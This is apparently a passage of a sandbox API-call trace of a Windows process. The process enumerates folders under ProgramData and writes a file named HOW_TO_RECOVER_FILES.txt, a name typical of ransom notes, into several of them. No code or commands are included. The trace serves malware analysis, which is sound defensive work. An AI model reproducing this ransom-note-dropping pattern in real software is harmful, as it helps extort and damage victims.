SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0105.008] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\NetFramework", lpFilePart=0x0) returned 0x25 [0105.008] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0105.008] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.008] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1 [0105.008] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 0 [0105.009] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0105.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0105.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0105.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0105.009] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\NetFramework", lpFilePart=0x0) returned 0x25 [0105.009] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0105.009] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.009] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1 [0105.009] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0105.009] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0105.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0105.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0105.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0105.010] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore", lpFilePart=0x0) returned 0x35 [0105.010] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0105.010] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.010] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0105.010] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0105.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0105.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0105.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0105.011] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore", lpFilePart=0x0) returned 0x35 [0105.011] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0105.011] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.011] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0105.011] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0105.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0105.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0105.011] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4e [0105.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0105.011] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\netframework\\breadcrumbstore\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0105.012] GetFileType (hFile=0x7c8) returned 0x1 [0105.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0105.012] GetFileType (hFile=0x7c8) returned 0x1 [0105.012] WriteFile (in: hFile=0x7c8, lpBuffer=0x33949b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x33949b8*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0105.138] CloseHandle (hObject=0x7c8) returned 1 [0105.544] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\NetFramework\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3e [0105.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0105.544] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\netframework\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0105.545] GetFileType (hFile=0x7dc) returned 0x1 [0105.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0105.545] GetFileType (hFile=0x7dc) returned 0x1 [0105.546] WriteFile (in: hFile=0x7dc, lpBuffer=0x36455e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x36455e8*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0105.547] CloseHandle (hObject=0x7dc) returned 1 [0105.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0105.547] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network", lpFilePart=0x0) returned 0x20 [0105.547] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0105.548] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.548] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0105.548] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1 [0105.548] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 0 [0105.549] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0105.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0105.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0105.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0105.549] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network", lpFilePart=0x0) returned 0x20 [0105.549] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0105.549] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.549] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0105.549] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1 [0105.550] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0105.550] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0105.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0105.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0105.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0105.550] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x2c [0105.550] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0105.551] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.551] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cm", cAlternateFileName="")) returned 1 [0105.551] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CM_old", cAlternateFileName="")) returned 1 [0105.551] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CM_old", cAlternateFileName="")) returned 0 [0105.551] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0105.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0105.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0105.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0105.551] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x2c [0105.551] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0105.552] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.552] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cm", cAlternateFileName="")) returned 1 [0105.552] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CM_old", cAlternateFileName="")) returned 1 [0105.552] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0105.552] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 